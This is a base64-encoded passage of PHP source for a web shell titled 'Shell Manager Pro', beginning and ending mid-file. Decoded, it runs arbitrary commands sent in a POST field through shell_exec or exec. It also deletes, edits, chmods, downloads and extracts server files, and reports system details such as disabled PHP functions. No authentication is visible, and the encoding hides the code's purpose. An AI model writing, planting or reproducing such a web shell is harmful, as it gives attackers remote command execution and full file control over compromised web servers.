CAgICAgICAgIHJlY3Vyc2VfY29weSgkc291cmNlLCAkZGVzdCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgY29weSgkc291cmNlLCAkZGVzdCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBDcmVhdGUgemlwDQogICAgICAgICAgICAkemlwX3BhdGggPSAkY3VycmVudERpciAuICcvJyAuICR6aXBfbmFtZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKHppcERpcmVjdG9yeSgkdGVtcF9kaXIsICR6aXBfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBjaG1vZCgkemlwX3BhdGgsIDA2NDQpOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKckyBBcmNoaXZlIGNyZWF0ZWQ6ICR6aXBfbmFtZSI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKclyBGYWlsZWQgdG8gY3JlYXRlIGFyY2hpdmUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBDbGVhbnVwIHRlbXANCiAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkdGVtcF9kaXIpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIA0KICAgIC8vIFVuemlwIE9wZXJhdGlvbg0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWyd1bnppcF9hY3Rpb24nXSkpIHsNCiAgICAgICAgJGZpbGUgPSAkX1BPU1RbJ3VuemlwX2ZpbGUnXSA/PyAnJzsNCiAgICAgICAgJGV4dHJhY3RfdG8gPSAkX1BPU1RbJ2V4dHJhY3RfdG8nXSA/PyAnJzsNCiAgICAgICAgDQogICAgICAgIGlmICghZW1wdHkoJGZpbGUpKSB7DQogICAgICAgICAgICAkZmlsZXBhdGggPSAkY3VycmVudERpciAuICcvJyAuIGJhc2VuYW1lKCRmaWxlKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkgJiYgaXNfZmlsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgWyd6aXAnLCAncmFyJywgJzd6JywgJ3RhcicsICdneiddKSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBUZW50dWthbiBmb2xkZXIgdHVqdWFuDQogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXh0cmFjdF90bykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRleHRyYWN0X2RpciA9ICRjdXJyZW50RGlyIC4gJy8nIC4gcGF0aGluZm8oJGZpbGUsIFBBVEhJTkZPX0ZJTEVOQU1FKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRleHRyYWN0X2RpciA9ICRjdXJyZW50RGlyIC4gJy8nIC4gJGV4dHJhY3RfdG87DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGlmICh1bnppcEZpbGUoJGZpbGVwYXRoLCAkZXh0cmFjdF9kaXIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinJMgQXJjaGl2ZSBleHRyYWN0ZWQgdG86ICIgLiBiYXNlbmFtZSgkZXh0cmFjdF9kaXIpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyXIEZhaWxlZCB0byBleHRyYWN0IGFyY2hpdmUiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyXIE5vdCBhIHN1cHBvcnRlZCBhcmNoaXZlIGZvcm1hdCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinJcgRmlsZSBub3QgZm91bmQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBUZXJtaW5hbCBDb21tYW5kDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbJ2NvbW1hbmQnXSkpIHsNCiAgICAgICAgJGNvbW1hbmQgPSB0cmltKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgDQogICAgICAgIGlmICghZW1wdHkoJGNvbW1hbmQpKSB7DQogICAgICAgICAgICBjaGRpcigkY3VycmVudERpcik7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIFNhdmUgdG8gaGlzdG9yeQ0KICAgICAgICAgICAgaWYgKCFpc3NldCgkX1NFU1NJT05bJ2NvbW1hbmRfaGlzdG9yeSddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY29tbWFuZF9oaXN0b3J5J10gPSBbXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydjb21tYW5kX2hpc3RvcnknXSwgJGNvbW1hbmQpOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydjb21tYW5kX2hpc3RvcnknXSA9IGFycmF5X3NsaWNlKCRfU0VTU0lPTlsnY29tbWFuZF9oaXN0b3J5J10sIDAsIDUwKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gRXhlY3V0ZSBjb21tYW5kDQogICAgICAgICAgICAkb3V0cHV0ID0gJyc7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCAuICcgMj4mMScpOw0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgICAgICAgICAgZXhlYygkY29tbWFuZCAuICcgMj4mMScsICRvdXRwdXRfYXJyYXksICRyZXR1cm5fY29kZSk7DQogICAgICAgICAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoIlxuIiwgJG91dHB1dF9hcnJheSk7DQogICAgICAgICAgICAgICAgJG91dHB1dCAuPSAiXG5bRXhpdCBDb2RlOiAkcmV0dXJuX2NvZGVdIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICRvdXRwdXQ7DQogICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIEJ1bGsgT3BlcmF0aW9ucw0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWydidWxrX2FjdGlvbiddKSkgew0KICAgICAgICAkYWN0aW9uID0gJF9QT1NUWydidWxrX2FjdGlvbiddOw0KICAgICAgICAkaXRlbXMgPSAkX1BPU1RbJ2l0ZW1zJ10gPz8gW107DQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICRwYXRoID0gJGN1cnJlbnREaXIgLiAnLycgLiBiYXNlbmFtZSgkaXRlbSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHN3aXRjaCAoJGFjdGlvbikgew0KICAgICAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdW5saW5rKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIEhhcHVzIGZvbGRlciByZWt1cnNpZg0KICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyZWN0b3J5KCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdjaG1vZCc6DQogICAgICAgICAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9QT1NUWydjaG1vZF92YWx1ZSddKSA/IG9jdGRlYygkX1BPU1RbJ2NobW9kX3ZhbHVlJ10pIDogMDY0NDsNCiAgICAgICAgICAgICAgICAgICAgY2htb2QoJHBhdGgsICRtb2RlKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRtZXNzYWdlID0gIuKckyBCdWxrIG9wZXJhdGlvbiBjb21wbGV0ZWQiOw0KICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIA0KICAgIC8vIEVkaXQgRmlsZQ0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWydlZGl0X2ZpbGUnXSkpIHsNCiAgICAgICAgJGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXSA/PyAnJzsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXSA/PyAnJzsNCiAgICAgICAgDQogICAgICAgIGlmICghZW1wdHkoJGZpbGUpKSB7DQogICAgICAgICAgICAkcGF0aCA9ICRjdXJyZW50RGlyIC4gJy8nIC4gYmFzZW5hbWUoJGZpbGUpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KSkgew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKckyBGaWxlIHNhdmVkOiAkZmlsZSI7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAkbWVzc2FnZTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBKaWthIGFkYSBQT1NUIHRhbnBhIGFjdGlvbiB5YW5nIGRpa2VuYWxpLCByZWRpcmVjdCBrZSBoYWxhbWFuDQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIEhhbmRsZSBHRVQgQWN0aW9ucw0KaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkpIHsNCiAgICAkZmlsZSA9IGlzc2V0KCRfR0VUWydmaWxlJ10pID8gJF9HRVRbJ2ZpbGUnXSA6ICcnOw0KICAgIA0KICAgIGlmICghZW1wdHkoJGZpbGUpKSB7DQogICAgICAgICRmaWxlcGF0aCA9ICRjdXJyZW50RGlyIC4gJy8nIC4gYmFzZW5hbWUoJGZpbGUpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmaWxlcGF0aCA9ICcnOw0KICAgIH0NCiAgICANCiAgICBzd2l0Y2ggKCRfR0VUWydhY3Rpb24nXSkgew0KICAgICAgICBjYXNlICdkZWxldGUnOg0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgIHVubGluaygkZmlsZXBhdGgpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIC8vIEhhcHVzIGZvbGRlciByZWt1cnNpZg0KICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXJlY3RvcnkoJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyTIERlbGV0ZWQgc3VjY2Vzc2Z1bGx5IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgDQogICAgICAgIGNhc2UgJ2Rvd25sb2FkJzoNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZXBhdGgpICYmIGlzX2ZpbGUoJGZpbGVwYXRoKSkgew0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gYmFzZW5hbWUoJGZpbGVwYXRoKSAuICciJyk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KICAgICAgICAgICAgICAgIHJlYWRmaWxlKCRmaWxlcGF0aCk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgDQogICAgICAgIGNhc2UgJ3ZpZXcnOg0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkgJiYgaXNfZmlsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZXBhdGgpOw0KICAgICAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkZmlsZXBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQogICAgICAgICAgICAgICAgZWNobyAiPGh0bWw+PGhlYWQ+DQogICAgICAgICAgICAgICAgICAgIDx0aXRsZT5WaWV3OiAiIC4gYmFzZW5hbWUoJGZpbGVwYXRoKSAuICI8L3RpdGxlPg0KICAgICAgICAgICAgICAgICAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9J2h0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS44LjAvc3R5bGVzL2F0b20tb25lLWRhcmsubWluLmNzcyc+DQogICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgc3JjPSdodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9oaWdobGlnaHQuanMvMTEuOC4wL2hpZ2hsaWdodC5taW4uanMnPjwvc2NyaXB0Pg0KICAgICAgICAgICAgICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICBib2R5IHsgbWFyZ2luOiAwOyBiYWNrZ3JvdW5kOiAjMWUxZTFlOyBjb2xvcjogI2Q0ZDRkNDsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgLmhlYWRlciB7IGJhY2tncm91bmQ6ICMyNTI1MjY7IHBhZGRpbmc6IDE1cHg7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgLmNvbnRlbnQgeyBwYWRkaW5nOiAyMHB4OyB9DQogICAgICAgICAgICAgICAgICAgICAgICBwcmUgeyBtYXJnaW46IDA7IH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC5iYWNrLWJ0biB7IGNvbG9yOiAjNTY5Y2Q2OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IHBhZGRpbmc6IDhweCAxNnB4OyBiYWNrZ3JvdW5kOiAjMGU2MzljOyBib3JkZXItcmFkaXVzOiAycHg7IH0NCiAgICAgICAgICAgICAgICAgICAgPC9zdHlsZT4NCiAgICAgICAgICAgICAgICA8L2hlYWQ+PGJvZHk+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9J2hlYWRlcic+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxzdHJvbmc+IiAuIGJhc2VuYW1lKCRmaWxlcGF0aCkgLiAiPC9zdHJvbmc+ICgiIC4gZmlsZXNpemUoJGZpbGVwYXRoKSAuICIgYnl0ZXMpPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSc/ZGlyPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnREaXIpIC4gIicgY2xhc3M9J2JhY2stYnRuJz5CYWNrPC9hPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0nY29udGVudCc+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHJlPjxjb2RlIGNsYXNzPSdsYW5ndWFnZS0kZXh0Jz4iIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAiPC9jb2RlPjwvcHJlPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD5obGpzLmhpZ2hsaWdodEFsbCgpOzwvc2NyaXB0Pg0KICAgICAgICAgICAgICAgIDwvYm9keT48L2h0bWw+IjsNCiAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICANCiAgICAgICAgY2FzZSAnZWRpdCc6DQogICAgICAgICAgICAvLyBIYW5kbGVkIGluIG1vZGFsDQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIA0KICAgICAgICBjYXNlICdjaG1vZCc6DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ21vZGUnXSkgJiYgZmlsZV9leGlzdHMoJGZpbGVwYXRoKSkgew0KICAgICAgICAgICAgICAgICRtb2RlID0gb2N0ZGVjKCRfR0VUWydtb2RlJ10pOw0KICAgICAgICAgICAgICAgIGNobW9kKCRmaWxlcGF0aCwgJG1vZGUpOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKckyBQZXJtaXNzaW9ucyBjaGFuZ2VkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgDQogICAgICAgIGNhc2UgJ2V4dHJhY3QnOg0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkgJiYgaXNfZmlsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgWyd6aXAnLCAncmFyJywgJzd6JywgJ3RhcicsICdneiddKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXh0cmFjdF9kaXIgPSAkY3VycmVudERpciAuICcvJyAuIHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19GSUxFTkFNRSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBpZiAodW56aXBGaWxlKCRmaWxlcGF0aCwgJGV4dHJhY3RfZGlyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyTIEFyY2hpdmUgZXh0cmFjdGVkIHRvOiAiIC4gYmFzZW5hbWUoJGV4dHJhY3RfZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKclyBGYWlsZWQgdG8gZXh0cmFjdCBhcmNoaXZlIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKclyBOb3QgYSBzdXBwb3J0ZWQgYXJjaGl2ZSBmb3JtYXQiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgDQogICAgICAgIGNhc2UgJ2NsZWFyX2hpc3RvcnknOg0KICAgICAgICAgICAgJF9TRVNTSU9OWydjb21tYW5kX2hpc3RvcnknXSA9IFtdOw0KICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyTIENvbW1hbmQgaGlzdG9yeSBjbGVhcmVkIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgDQogICAgICAgIGNhc2UgJ2dldF9maWxlX2NvbnRlbnQnOg0KICAgICAgICAgICAgLy8gQVBJIGVuZHBvaW50IHVudHVrIG1lbmRhcGF0a2FuIGtvbnRlbiBmaWxlDQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGVwYXRoKSAmJiBpc19maWxlKCRmaWxlcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcGF0aCksDQogICAgICAgICAgICAgICAgICAgICdmaWxlbmFtZScgPT4gYmFzZW5hbWUoJGZpbGVwYXRoKQ0KICAgICAgICAgICAgICAgIF0pOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICB9DQogICAgDQogICAgaWYgKGlzc2V0KCRtZXNzYWdlKSkgew0KICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgIH0NCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgZXhpdDsNCn0NCg0KLy8gR2V0IG1lc3NhZ2VzIGZyb20gc2Vzc2lvbg0KaWYgKGlzc2V0KCRfU0VTU0lPTlsnbWVzc2FnZSddKSkgew0KICAgICRtZXNzYWdlID0gJF9TRVNTSU9OWydtZXNzYWdlJ107DQogICAgdW5zZXQoJF9TRVNTSU9OWydtZXNzYWdlJ10pOw0KfQ0KDQppZiAoaXNzZXQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSkpIHsNCiAgICAkdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXTsNCiAgICB1bnNldCgkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddKTsNCn0NCg0KLy8gR2V0IGZpbGVzIGFuZCBkaXJlY3Rvcmllcw0KJGZpbGVzID0gQHNjYW5kaXIoJGN1cnJlbnREaXIpID86IFtdOw0KJGRpcl93cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRjdXJyZW50RGlyKTsNCiRkaXJfcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGN1cnJlbnREaXIpKSwgLTQpOw0KDQovLyBTeXN0ZW0gSW5mbw0KJHN5c2luZm8gPSBbDQogICAgJ3NlcnZlcicgPT4gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddID8/ICdOL0EnLA0KICAgICdwaHBfdmVyc2lvbicgPT4gcGhwdmVyc2lvbigpLA0KICAgICd1c2VyJyA9PiBnZXRfY3VycmVudF91c2VyKCksDQogICAgJ2Rpc2tfZnJlZScgPT4gcm91bmQoQGRpc2tfZnJlZV9zcGFjZSgkY3VycmVudERpcikgLyAoMTAyNCoxMDI0KjEwMjQpLCAyKSwNCiAgICAnZGlza190b3RhbCcgPT4gcm91bmQoQGRpc2tfdG90YWxfc3BhY2UoJGN1cnJlbnREaXIpIC8gKDEwMjQqMTAyNCoxMDI0KSwgMiksDQogICAgJ21lbW9yeV91c2FnZScgPT4gcm91bmQobWVtb3J5X2dldF91c2FnZSgpIC8gMTAyNCAvIDEwMjQsIDIpLA0KICAgICd1cGxvYWRfbWF4JyA9PiBpbmlfZ2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJyksDQogICAgJ2Rpc2FibGVkX2Z1bmNzJyA9PiBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpID86ICdOb25lJywNCiAgICAnc2VydmVyX2FkZHInID0+ICRfU0VSVkVSWydTRVJWRVJfQUREUiddID8/ICdOL0EnLA0KICAgICdyZW1vdGVfYWRkcicgPT4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sDQpdOw0KDQovLyBDb21tYW5kIEhpc3RvcnkNCiRoaXN0b3J5ID0gJF9TRVNTSU9OWydjb21tYW5kX2hpc3RvcnknXSA/PyBbXTsNCj8+DQoNCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iIGRhdGEtdGhlbWU9Ijw/cGhwIGVjaG8gJHRoZW1lOyA/PiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT5TaGVsbCBNYW5hZ2VyIFBybzwvdGl0bGU+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi40LjAvY3NzL2FsbC5taW4uY3NzIj4NCiAgICA8c3R5bGU+DQogICAgICAgIC8qIENTUyBWYXJpYWJsZXMgZm9yIFRoZW1lcyAqLw0KICAgICAgICA6cm9vdCB7DQogICAgICAgICAgICAtLWJnLXByaW1hcnk6ICMwZjE3MmE7DQogICAgICAgICAgICAtLWJnLXNlY29uZGFyeTogIzFlMjkzYjsNCiAgICAgICAgICAgIC0tYmctdGVydGlhcnk6ICMzMzQxNTU7DQogICAgICAgICAgICAtLXRleHQtcHJpbWFyeTogI2YxZjVmOTsNCiAgICAgICAgICAgIC0tdGV4dC1zZWNvbmRhcnk6ICM5NGEzYjg7DQogICAgICAgICAgICAtLWFjY2VudDogIzNiODJmNjsNCiAgICAgICAgICAgIC0tc3VjY2VzczogIzEwYjk4MTsNCiAgICAgICAgICAgIC0td2FybmluZzogI2Y1OWUwYjsNCiAgICAgICAgICAgIC0tZGFuZ2VyOiAjZWY0NDQ0Ow0KICAgICAgICAgICAgLS1pbmZvOiAjMDZiNmQ0Ow0KICAgICAgICAgICAgLS1ib3JkZXI6ICM0NzU1Njk7DQogICAgICAgICAgICAtLXNoYWRvdzogMCA0cHggNnB4IC0xcHggcmdiYSgwLCAwLCAwLCAwLjEpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIDAuMDYpOw0KICAgICAgICAgICAgLS1yYWRpdXM6IDhweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgW2RhdGEtdGhlbWU9ImxpZ2h0Il0gew0KICAgICAgICAgICAgLS1iZy1wcmltYXJ5OiAjZmZmZmZmOw0KICAgICAgICAgICAgLS1iZy1zZWNvbmRhcnk6ICNmOGZhZmM7DQogICAgICAgICAgICAtLWJnLXRlcnRpYXJ5OiAjZjFmNWY5Ow0KICAgICAgICAgICAgLS10ZXh0LXByaW1hcnk6ICMxZTI5M2I7DQogICAgICAgICAgICAtLXRleHQtc2Vjb25kYX